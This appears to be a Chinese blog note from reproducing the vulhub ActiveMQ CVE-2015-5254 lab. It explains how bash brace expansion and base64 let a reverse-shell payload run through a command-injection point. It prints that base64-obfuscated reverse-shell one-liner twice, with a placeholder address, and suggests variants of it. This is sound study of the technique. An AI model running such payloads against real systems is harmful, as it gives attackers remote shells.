在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料
bash在执行命令前,会先对整个命令进行处理或者扩展。比如使用通配符定位文件时,在执行cat /etc/passw*
前会将其先扩展成cat /etc/passwd
,然后再执行该条命令,这种对于通配符的处理就叫做 Pathname Expansion (路径名扩展)
bash中共有7中扩展,按优先级分别是
下图也很好的展示了这个过程
花括号扩展是可以让bash生成任意字符串的一种扩展功能,与路径扩展非常相似,唯一不同的是生成的字符串可以是不存在的路径或者文件名。
花括号扩展使用格式分为两类
preamble+{string1,string2,...,stringN}+postscript
preamble+stringX+postscript
的多组字符串,其间由空格隔开[email protected]:~$ echo hello{' world',' 'bash,linux}.
hello world. hello bash. hellolinux.
preamble+{<START>..<END>[..<INCR>]}+postscript
[email protected]:~$ echo hello{1..5}
hello1 hello2 hello3 hello4 hello5
[email protected]:~$ echo hello{1..5..2}
hello1 hello3 hello5
[email protected]:~$ echo hello{a..e..2}
helloa helloc helloe
[email protected]:~$ bash -c "echo hello"
hello
前一个命令的输出,作为后一个命令的输入
[email protected]:~$ echo 'hello'|base64
aGVsbG8K
[email protected]:~$ echo 'aGVsbG8K'|base64 -d
hello
当只输入花括号扩展的表达式时,首先会对其进行处理
例如输入{echo,hello}
会变成echo hello
,然后执行该语句,所以以下表达式都可以正常执行
[email protected]:~$ {e,}cho
cho
[email protected]:~$ e{cho,hello}
ehello
[email protected]:~$ ec{h,x}o
ecxo
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
这条payload的原理应该已经不言而喻了,还要提一点的是payoad前的bash -c
只是在当前漏洞环境需要,依靠漏洞在这个应用中执行任意命令时需要,如果本身就在bash中的话是不用写的,还有最后的{bash,-i}
也可以只写成{bash,}
或者{,bash}
还有反弹shell命令本身的理解,推荐这篇文章
https://www.freebuf.com/articles/system/153986.html
参考:
https://blog.csdn.net/astrotycoon/article/details/50886676
http://linux.51yip.com/search/bash